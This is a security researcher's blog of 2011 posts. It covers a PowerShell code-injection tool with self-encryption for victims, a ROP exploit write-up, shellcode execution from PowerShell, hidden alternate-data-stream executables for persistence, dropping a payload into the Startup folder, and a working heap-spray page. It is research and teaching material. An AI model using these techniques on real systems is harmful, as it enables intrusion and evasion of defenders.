Monday, November 21, 2011

PowerSyringe - PowerShell-based Code/DLL Injection Utility

Download Link: PowerSyringe.ps1

So I decided to expand upon my previous post and create a slightly more full-featured Powershell-based code/DLL injection utility. Behold, PowerSyringe. As the name implies, I based some of the code on the original Syringe toolkit. I added several features though - specifically, 64-bit support and encryption. Here is a rundown of its features:

  • Shellcode injection from within Powershell
  • Shellcode injection into any 32 or 64-bit process
  • DLL injection into any 32 or 64-bit process
  • Encryption - The script can encrypt itself and outputs the encrypted version to .\evil.ps1. This will make analysis of the script impossible/improbable without the correct password and salt (or if they happen to perform live memory forensics). >D
  • Decryption - evil.ps1 will decrypt itself back into its original form if you provide the right password and salt
  • Doesn't flag DEP b/c it doesn't execute in the stack
  • Fairly detailed documentation

I’ve tested the tool on several 32 and 64-bit platforms but I would love to get some feedback/feature requests. To execute the script, ensure that your execution policy allows you to execute scripts. If not, no worries. You can simply copy and paste the all of the code into a PowerShell prompt. Then you can run ‘help PowerSyringe -full’ for detailed documentation. There are several other methods for bypassing the execution policy. One of those methods is detailed here.


Here is an excerpt of the documentation with usage examples:

DLL Injection
C:\PS>PowerSyringe 1 4274 .\evil.dll

Description
Inject 'evil.dll' into process ID 4274.


Inject shellcode into process
C:\PS>PowerSyringe 2 4274

Description
Inject the shellcode as defined in the script into process ID 4274


Execute shellcode within the context of PowerShell
C:\PS>PowerSyringe 3

Description
Execute the shellcode as defined in the script within the context of Powershell.


Encrypt the script with the password:'password' and salt:'salty'
C:\PS>PowerSyringe 4 .\PowerSyringe.ps1 password salty

Description
Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext.

Note: This command can be used to encrypt any text-based file/script


Decrypt encrypted script and execute it in memory
C:\PS>[String] $cmd = Get-Content .\evil.ps1
C:\PS>Invoke-Expression $cmd
C:\PS>$decrypted = de password salt
C:\PS>Invoke-Expression $decrypted

Description
After you run the encryption option and generate evil.ps1 these commands will decrypt and execute
(i.e. define the function) PowerSyringe entirely in memory assuming you provided the proper password and salt combination.

Upon successful completion of these commands, you can execute PowerSyringe as normal.

Note: "Invoke-Expression $decrypted" may generate an error. Just ignore it. PowerSyringe will
still work.


This is what evil.ps1 will look like after the encryption function is called:
As you can see, the decryption script is slightly 'obfuscated' if you even want to call it that. It's pretty obvious that it decrypts the $a variable. Unfortunately, anyone performing analysis on this evil script will have no idea what the contents of $a are without the correct password and salt.

The primary reason I wrote this was because I had been using Syringe on assessments to bypass host-based IPS systems but I didn't like some of the limitations of Syringe (specifically, no 64-bit support) and I like the idea of performing everything in memory without needing to drop any executables. That being said, I welcome your constructive feedback.

Enjoy!

Monday, November 14, 2011

Man vs. ROP - Overcoming Adversity One Gadget at a Time

Introduction

I recently discovered a rather simple stack-based buffer overflow in a legacy application that shall remain unnamed. With DEP disabled, exploiting the vulnerability was trivial. It’s no longer 1999, however. If you want to write any exploit these days you have to at least be proficient in return-oriented programming techniques to bypass data execution prevention. This article will detail some of the nonorthodox techniques that were required to get code execution for this particular vulnerability.

Prerequisites

Before reading this, you should be rather comfortable with return-oriented programming techniques. I highly recommend checking out the following presentations/articles before diving in to the techniques I’ll describe:

Stephen Sims - "SANS Security 660 Series: Return-Oriented Programming and Exploitation"

Dino Dai Zovi (@dinodaizovi) - "Practical Return-Oriented Programming"

Peter Van Eeckhoutte (@corelanc0d3r) - "Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube"

Also, if you enjoy Peter’s article, please be sure to donate to his fight against plagiarism in the infosec community.

Vulnerability Synopsis

The application was vulnerable to a simple stack buffer overflow when it read in a particular value from a config file. An excessively long value overwrote the stack cookie, saved frame pointer, return address, SE handler, and a virtual function pointer on the stack. Because the app was compiled with the /GS flag, overwriting the saved EIP wasn't going to cut it since the stack cookie would have been validated and the process terminate upon detecting the clobbered cookie value. No problem. Fortunately, the SE handler was overwritten and the app crashed upon calling the virtual function pointer - both valid avenues to exploitation. It seemed all too simple until I started trying to find valid ROP gadgets. This is where the fun/frustration began.

Here are some additional details worth noting:
  • All but three modules (the executable and two DLLs) were compiled with ASLR. However, only one of the DLLs could be used for building a ROP chain since the other DLL contained a bad character, thus truly limiting the amount of potential ROP gadgets.
  • The following were bad characters: '\x00\x0a\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x28\x29\x2a'
  • The stack was always mapped to the same base address – 0x0017xxxx
  • Let’s just say that the virtual function pointer was overwritten at offset 1400 and the SE handler pointer was overwritten at offset 1700
Exploitation

As stated before, I had two angles of attack at my disposal – SEH overwrite and a call to a virtual function pointer. I chose to explore the SEH route first.

When writing a ROP exploit for an SEH overwrite, you need specific gadgets to perform the stack pivot (i.e. get ESP to point to your shellcode). The traditional gadgets that would perform this task are as follows:
  • XCHG reg, ESP; RETN 
  • MOV  reg, ESP; RETN 
  • CALL reg
  • POP  reg; JMP reg
  • ADD  ESP, offset; RETN
Unfortunately, upon passing control to the SE handler, there were no registers under my control nor were there any registers that pointed to my buffer. The only option left for me was MOV reg, ESP; RETN. The ROP compiler I used found no such gadget, however aside from a lone ADD ESP, 0x0C; RETN which just wasn’t going to cut it since my buffer was approximately 0x800 bytes away from ESP. Originally, I thought that the ADD ESP, 0x0C; RETN gadget might work because it would essentially “walk” down the stack returning to invalid memory addresses along the way until it hit the beginning of my buffer. Then, upon attempting to return to an invalid memory address the SE handler that I overwrote would then kick in and return to itself, continuing to walk the stack. I was naive however and it didn’t work that way. The unhandled exception handler kicked in and I got nowhere.

I tried to get creative with gadgets. For example, I thought that I might be able to find a ROP variation to the classic pop-pop-ret instruction sequence:

POP reg
POP reg
POP ESP  <-- this would point to the beginning of my ROP chain
RETN

Alas, I found no such gadget. So I decided to shift my attention to the call to the virtual function pointer – CALL DWORD PTR [EAX+A0].

At the time of the crash, I had full control over EAX. Also, ESI and EDI contained pointers to my buffer in the stack. [EAX+A0] is a pointer to a function pointer, however so you would need to find an interesting pointer to a pointer within the DLL that I was targeting. I found no address in the DLL. I needed a pointer to a pointer that I could control. Solution: the buffer that I controlled on the stack. The problem was that the stack was mapped to 0x0017xxxx which contains a null – one of the bad characters. I mentioned that the function pointer was overwritten at offset 1400. So the solution to getting EAX to point to the stack was a partial EAX overwrite.

After running the process in WinDbg and tracing calls to CALL [EAX+A0], I observed that all calls were being made from the stack – 0x0017xxxx. Due to the little-endian nature of the Intel architecture, that means that overwriting EAX with just three bytes would allow EAX to point to any address with a null high-order byte – i.e. 0x00414141.

Upon crashing, I noticed that my buffer reliably resided within a range of approximately 0x40 bytes. So at this point, I was dealing with the following:
  • Ability to point EAX to the stack using a partial EAX overwrite
  • A buffer that shifted slightly at each crash but only within a range of about 0x40 bytes.
So now I potentially had a range of addresses that I could “spray” with pointers to a stack pivot gadget. Since the sprayed addresses reside in the stack, I guess you could call this method stack-spraying ;D. I found a few XCHG EAX, ESP; RETN gadgets and got them to execute reliably but there was a problem, however. Executing a stack pivot twice “unpivots” the stack and you’re back to where you were when you started. After many hours of banging my head on the desk I realized that I could use a series of alternating gadgets to only execute the stack pivot once then jump to a series of ROP-NOPs that jumped over the remaining stack pivot gadgets. I tried my best to illustrate this concept in the following diagram:

Fortunately, upon executing CALL [EAX+A0], the program reliably landed on one of the stack pivot gadgets – Gadget1. Gadget 1 then returned to Gadget 2. The purpose of Gadget 2 is to walk the stack while jumping over Gadget 1. I then added a few ROP-NOPs - &RETN followed by the primary ROP chain, which eventually called VirtualProtect(). Utilizing these techniques ultimately resulted in an extremely reliable exploit.

Conclusion

Just because the solution isn’t staring you in the face doesn’t mean it’s not there. Finding specific ROP gadgets can be like trying to find a needle in the haystack. With enough patience, persistence, and a good ROP compiler at your disposal, you’ll be well on your way to popping shells in the modern world.

Future Work

I would really like to get the ADD ESP, 0x0C; RETN gadget to work. I thought it might work if I overwrote the pointer to the next SEH handler with 0xFFFFFFFF, marking my crafted handler as the last in the chain and thus the handler of last resort. This wasn’t the case though. If anyone has successfully used this method to walk the stack down the attacker-controlled buffer I would love to hear how you accomplished it.

Tuesday, October 18, 2011

Exploiting Powershell's Features (Not Flaws)

UPDATE (10/13/2012)

Feel free to continue reading but just be aware that the technique described here is extremely outdated and the code that follows is garbage and as far from PowerShell coding best practices as possible. My Invoke-Shellcode script which is part of the PowerSploit project is vastly superior to this garbage proof-of-concept code.

tl;dr version

Using the features built in to Microsoft Powershell one can execute arbitrary shellcode. The method described in this post is both 32 and 64 bit compatible. Because we are exploiting the features of the .NET framework, ASLR and DEP doesn't even come into play here. Just copy and paste your shellcode and you're good to go.

lengthy, pedantic version

Those us that use Powershell know just how powerful it can be in automating administrative tasks. However, with great power comes great responsibility and the Powershell developers certainly assumed that it would be used responsibly. Unfortunately, (get ready for another clich├ęd expression/pun) absolute power corrupts absolutely. ;D I'll show you how you can use Powershell's integrated features to execute arbitrary shellcode.

Powershell's true power comes in the form of access to the .NET framework. One of the greatest features of Powershell, IMHO is the ability to add custom classes to the .NET framework. This can be accomplished using the Add-Type cmdlet. The great thing about Add-Type is that it will compile CSharp code on the fly for you. Why is this so great? It allows you to import functions from any DLL. The Add-Type documentation provides some pretty good examples on how to create your own classes using CSharp source code.

It's pretty easy to import a function from a DLL. You just have to alter the C-style function prototype a bit to a CSharp-style prototype. Since we'll be importing the VirtualAlloc function later, I'll use it as an example.

Here's what the VirtualAlloc C-style prototype would look like:

LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

Here's what it would look like in CSharp:

IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

Finally, here's how you would be able to reference VirtualAlloc in Powershell:
The .NET framework doesn't deal too well with directly referencing memory. For security reasons, this is a good thing. However, since you can import functions that deal with unmanaged memory, we should in theory have all the tools necessary to allocate executable memory, copy shellcode to it, and then execute it as a thread. So without further ado, let's do just that in Powershell. The following code will execute any arbitrary 32 or 64 bit payload within Powershell. All you have to do is copy and paste the relevant 32 and 64 bit payloads and the code will determine on the fly if it is running in a 32 vs. 64 bit context. And because it's copy and paste, it should be popular with the skiddies. ;D
As you can see in the Powershell script, I'm doing a few things:

1) Importing the VirtualAlloc, CreateThread, and memset methods and adding them to my 'winFunc' class
2) Inserting both the 32 and 64 bit payloads as byte arrays
3) Determining whether PS is running as 32 vs. 64 bit by using the [IntPtr]::Size property
4) Allocating enough memory to accommodate the shellcode
5) Copying the shellcode to the executable region of memory
6) Executing the shellcode in its own thread

Here are some pretty pictures:

Popping a calc on 32-bit Powershell


Popping a calc on 64-bit Powershell

Now if you wanted to be even more stealthy in executing this attack, you could base64 encode the entire payload and execute it using the '-encodedCommand' option in PS. You could take this one step further and execute the encoded payload within a batch file thus bypassing the Powershell execution policy. I'll spare you details on how to accomplish this since this method is already well documented.

Lastly, I am by no means a CSharp developer or even a developer for that matter so you can certainly spare me any criticisms of my poor coding practices. The bottom line is, it works and it works extremely reliably and that's all I care about. Also, there's absolutely more than one way to accomplish this. I would love to hear suggestions on alternate ways to execute shellcode from within Powershell. And please feel free to leave comments and questions below. Enjoy!

Tuesday, September 20, 2011

Stealth Alternate Data Streams and Other ADS Weirdness

I was reading an article on MSDN regarding the naming of files, paths, and namespaces[1] and I discovered some interesting peculiarities regarding the naming and creation of certain files containing alternate data streams.

I started by playing around with naming files based upon reserved device names "CON, PRN, AUX, NUL, COM1, LPT1, etc." As an example:

C:\temp>echo hi > \\?\C:\temp\NUL

Note that this file can only be created when the prefix "\\?\" or "\\.\GLOBALROOT\Device\HarddiskVolume[n]\" is appended. Subsequently, this is also the only way to delete the file.

This technique has been known about for over a year now and is well documented[2][3].

What I found to be interesting is that when you create an alternate data stream that is attached to a file named after any reserved device name, the alternate data stream is invisible to both 'dir /R' and streams.exe unless you append the "\\?\" prefix to the path. Also, if the ADS happens to be an executable, it can be executed using WMIC. As an example:

C:\temp>type C:\Windows\System32\cmd.exe > \\?\C:\temp\NUL:hidden_ADS.exe

C:\temp>dir /r C:\temp

 Directory of C:\temp

09/17/2011  06:35 AM    <DIR>          .
09/17/2011  06:35 AM    <DIR>          ..
09/17/2011  06:37 AM                 5 NUL
               1 File(s)              5 bytes

C:\temp>streams C:\temp

Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

No files with streams found.

C:\temp>wmic process call create \\?\C:\temp\NUL:hidden_ADS.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 1620;
        ReturnValue = 0;
};


So what are the implications of this?

1) You have a file that's nearly impossible to delete unless you know to append '\\?\'
2) You can hide malicious files/executables within the device name file in an ADS that is undetectable using traditional tools.
3) If an executable is hidden in the invisible ADS, it can be executed via WMIC.

As an added comment, according to the same MSDN article: "characters whose integer representations are in the range from 1 through 31, except for alternate data streams where these characters are allowed." This would allow someone to create an ADS using alt-characters. As an example:

C:\temp>echo hi > C:\temp\test.txt

C:\temp>echo secret text > C:\temp\test.txt:^G^G^G

C:\temp>dir /R C:\temp

 Directory of C:\temp

09/17/2011  07:09 AM    <DIR>          .
09/17/2011  07:09 AM    <DIR>          ..
09/17/2011  07:08 AM                 5 test.txt
                                    14 test.txt::$DATA
               1 File(s)              5 bytes

C:\temp>more < C:\temp\test.txt:^G^G^G
secret text

The ADS is named after three system bell characters <ALT+007>. Therefore, nothing is printed but a directory listing would yield three audible beeps. Hehe. Nothing mind-blowing but just another way to mess with admins or incident handlers.


Happy ADS created using <ALT-002>

The bottom line: these techniques would serve as both a good malware persistence mechanism and serve to frustrate any incident handler.

1. Microsoft, "Naming Files, Paths, and Namespaces", http://msdn.microsoft.com/en-us/library/aa365247(VS.85).aspx

2. Dan Crowley, "Windows File Pseudonyms," April 2010, http://www.sourceconference.com/publications/bos10pubs/Windows%20File%20Pseudonyms.pptx

3. Mark Baggett, "NOT A CON!!!! (it's a backdoor)," February, 15 2010, http://pauldotcom.com/2010/02/deleting-the-undeleteable.html

Wednesday, September 14, 2011

Dropping Executables with Powershell

Scenario: You find yourself in a limited Windows user environment without the ability to transfer binary files over the network for one reason or another. So this rules out using a browser, ftp.exe, mspaint (yes, mspaint can be used to transfer binaries), etc. for file transfer. Suppose this workstation isn't even connected to the Internet. What existing options do you have to drop binaries on the target machine? There's the tried and true debug.exe method of assembling a text file with your payload. This method limits the size of your executable to 64K however since debug.exe is a 16-bit application. Also, Microsoft has since removed debug from recent versions of Windows. Also, Didier Stevens showed how easy it to embed executables in PDFs[1]. You can convert executables to VBscript and embed in Office documents as well. These apps won't necessarily be installed on every machine. Fortunately, Starting with Windows 7 and Server 2008, Powershell is installed by default.

Because Powershell implements the .NET framework, you have an incredible amount of power at your fingertips. I will demonstrate one use case whereby you can create an executable from a text file consisting of a hexadecimal representation of an executable. You can generate this text file using any compiled/scripting language you wish but since we're on the topic, I'll show you how to generate it in Powershell:

PS > [byte[]] $hex = get-content -encoding byte -path C:\temp\evil_payload.exe
PS > [System.IO.File]::WriteAllLines("C:\temp\hexdump.txt", ([string]$hex))

The first line reads in each byte of an executable and saves them to a byte array. The second line casts the bytes in the array as strings and writes them to a text file. The resultant text file will look something like this:

77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 0 124 58 138 68 29 84 217 68 29 84 217 68 29 84 217 99 219 41 217 66 29 84 217 99 219 47 217 79 29 84 217 68 29 85 217 189 29 84 217 99 219 58 217 71 29 84 217 99 219 57 217 125 29 84 217 99 219 40 217 69 29 84 217 99 219 44 217 69 29 84 217 82 105 99 104 68 29 84 217 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...

You can see that each byte is represented as a decimal (77,90 = "MZ").

Next, once you get the text file onto the target machine (a teensy/USB HID device would be an ideal use case), Powershell can be used to reconstruct the executable from the text file using the following lines:

PS > [string]$hex = get-content -path C:\Users\victim\Desktop\hexdump.txt
PS > [Byte[]] $temp = $hex -split ' '
PS > [System.IO.File]::WriteAllBytes("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil_payload.exe", $temp)

The first line reads the hex dump into a string variable. The string is then split into a byte array using <space> as a delimiter. Finally, the byte array is written back to a file and thus, the original executable is recreated.

While writing this article, I stumbled upon Dave Kennedy and Josh Kelley's work with Powershell[2] where they stumbled upon this same method of generating executables. In fact several Metasploit payloads use a similar, albeit slicker method of accomplishing this using compression and base64 encoding. Please do check out the great work they've been doing with Powershell.

1. Didier Stevens, "Embedding and Hiding Files in PDF Documents," July 1, 2009, http://blog.didierstevens.com/2009/07/01/embedding-and-hiding-files-in-pdf-documents/

2. Dave Kennedy and Josh Kelley "Defcon 18 PowerShell OMFG…", August 31, 2010, http://www.secmaniac.com/august-2010/powershell_omfg/

Monday, August 29, 2011

Targeted Heap Spraying – 0x0c0c0c0c is a Thing of the Past


Traditionally, heap spraying has relied upon spraying with 0x0C0C0C0C followed by shellcode which serves as both an address in the heap and a series of nops. This however is not extremely reliable. You have to be lucky enough to not land on a heap header or somewhere in your shellcode. Additionally, the latest version of EMET now prevents the execution of address 0x0C0C0C0C or any other arbitrary address specified in the registry. While this is a futile attempt to prevent heap spraying, it will require another method to reliably execute shellcode in the heap. Rather, there is a method that allows you to reliably allocate shellcode that is both in a predictable location and memory page-aligned (64K-aligned).

It turns out that allocations in Javascript of at least 512K are allocated using VirtualAlloc, which returns addresses that are page aligned (i.e. in the form of 0xXXXX0000). I credit Alexander Sotirov with this discovery as I learned this technique from him. There are many ways to place shellcode in the heap but string allocations are the tried and true heap allocation primitive in javascript. The format of a javascript string on the heap is as follows:

[string length - 4 bytes][Unicode encoded string][\x00\x00]

The following diagram illustrates a string’s layout in memory:
 
Therefore, any javascript string will be 6 bytes long plus the length of the Unicode encoded string. Also, heap chunks allocated with VirtualAlloc are 0x20 bytes in length. As a result, shellcode allocated through VirtualAlloc will always reside at offset 0x24. Also, because each allocation results in a 64K-aligned address, we can make a series of string allocations that equal exactly 64K. That way, the start of our shellcode will always be located at an address of the form (0xXXXX0024).

The following javascript code takes advantage of these concepts by allocating an array of sixteen 64K strings (i.e. 1 megabyte).  Note the sixteenth allocation accounts for the size of the heap header and string length so that exactly one megabyte gets allocated. The resultant array is then allocated one hundred times resulting in an allocation of exactly 100MB.

<html>
<head>
<script>
function heapspray() {
    var shellcode = "\u4141";

    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;

    var onemeg = shellcode.substr(0, 64*1024/2);

    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }

    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    var spray = new Array();

    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}
</script>
</head>
<body>
<input type="button" value="Spray the heap" onclick="heapspray()"></input>
</body>
</html>

Run the javascript code above and follow along with the following analysis in WinDbg. Start by viewing the addresses of the heaps in Internet Explorer:

!heap -stat

_HEAP 00360000
     Segments            00000001
         Reserved  bytes 00100000
         Committed bytes 000f1000
     VirtAllocBlocks     00000001
         VirtAlloc bytes 035f0000
_HEAP 035b0000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00019000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00750000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00012000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00270000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00010000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 02e20000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00010000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000

Look at the “VirtAlloc bytes” field for a heap with a large allocation. The heap address we’re interested in is the first one – “_HEAP 00360000”

Next, view the allocation statistics for that heap handle:

!heap -stat -h 00360000

 heap @ 00360000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 65 - 64ff360  (99.12)
    40010 1 - 40010  (0.25)
    1034 10 - 10340  (0.06)
    20 356 - 6ac0  (0.03)
    494 16 - 64b8  (0.02)
    5ba0 1 - 5ba0  (0.02)
    5e4 b - 40cc  (0.02)
    4010 1 - 4010  (0.02)
    3980 1 - 3980  (0.01)
    d0 3e - 3260  (0.01)
    460 b - 3020  (0.01)
    1800 2 - 3000  (0.01)
    800 6 - 3000  (0.01)
    468 a - 2c10  (0.01)
    2890 1 - 2890  (0.01)
    78 52 - 2670  (0.01)
    10 215 - 2150  (0.01)
    1080 2 - 2100  (0.01)
    2b0 c - 2040  (0.01)
    2010 1 - 2010  (0.01)

Our neat and tidy allocations really stand out here. There are exactly 0x65 (101 decimal) allocations of size 0xfffe0 (1 MB minus the 20 byte heap header).

A nice feature of WinDbg is that you can view heap chunks of a particular size. The following command lists all the heaps chunks of size 0xfffe0.

!heap -flt s fffe0

    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        037f0018 1fffc fffc  [00]   037f0020    fffe0 - (busy VirtualAlloc)
        038f0018 1fffc fffc  [00]   038f0020    fffe0 - (busy VirtualAlloc)
        039f0018 1fffc fffc  [00]   039f0020    fffe0 - (busy VirtualAlloc)
        03af0018 1fffc fffc  [00]   03af0020    fffe0 - (busy VirtualAlloc)
        03bf0018 1fffc fffc  [00]   03bf0020    fffe0 - (busy VirtualAlloc)
        05e80018 1fffc fffc  [00]   05e80020    fffe0 - (busy VirtualAlloc)
        05f80018 1fffc fffc  [00]   05f80020    fffe0 - (busy VirtualAlloc)
        06080018 1fffc fffc  [00]   06080020    fffe0 - (busy VirtualAlloc)
        06180018 1fffc fffc  [00]   06180020    fffe0 - (busy VirtualAlloc)
       
        0aa80018 1fffc fffc  [00]   0aa80020    fffe0 - (busy VirtualAlloc)
        0ab80018 1fffc fffc  [00]   0ab80020    fffe0 - (busy VirtualAlloc)
        0ac80018 1fffc fffc  [00]   0ac80020    fffe0 - (busy VirtualAlloc)
        0ad80018 1fffc fffc  [00]   0ad80020    fffe0 - (busy VirtualAlloc)
        0ae80018 1fffc fffc  [00]   0ae80020    fffe0 - (busy VirtualAlloc)
        0af80018 1fffc fffc  [00]   0af80020    fffe0 - (busy VirtualAlloc)
        0b080018 1fffc fffc  [00]   0b080020    fffe0 - (busy VirtualAlloc)
        0b180018 1fffc fffc  [00]   0b180020    fffe0 - (busy VirtualAlloc)
        0b280018 1fffc fffc  [00]   0b280020    fffe0 - (busy VirtualAlloc)
        0b380018 1fffc fffc  [00]   0b380020    fffe0 - (busy VirtualAlloc)
    _HEAP @ 10000
    _HEAP @ 270000
    _HEAP @ 750000
    _HEAP @ 2e20000
    _HEAP @ 35b0000

Note how each allocation is allocated in sequential order.

Now that we have the addresses of each heap chunk we can start to inspect memory for our 0x41’s:

0:007> db 06b80000
06b80000  00 00 c8 06 00 00 a8 06-00 00 00 00 00 00 00 00  ................
06b80010  00 00 10 00 00 00 10 00-61 65 15 29 00 00 00 04  ........ae.)....
06b80020  da ff 0f 00 41 41 41 41-41 41 41 41 41 41 41 41  ....AAAAAAAAAAAA
06b80030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

You can clearly see the string length at offset 0x20 – 000fffda which is the length of the string minus the null terminator.

Another way to analyze your heap allocations is through the fragmentation view of VMmap – one of many incredibly useful tools in the Sysinternals suite. The following image shows an allocation of 1000MB. Within the fragmentation view you can zoom in and click on individual allocations and confirm that each heap allocation (in orange) begins at an address in the form of 0xXXXX0000.


So why is this technique so useful? This method of heap spraying is perfect when exploiting use-after-free vulnerabilities where an attacker can craft fake objects and vtable structures. A fake vtable pointer can then point to an address in the heap range – 0x11F50024 just as an example. Thus, there is no need to rely upon nops and no need to worry about EMET’s arbitrary prevention of executing 0x0C0C0C0C-style addresses. For all intents and purposes, you’ve completely bypassed ASLR protections.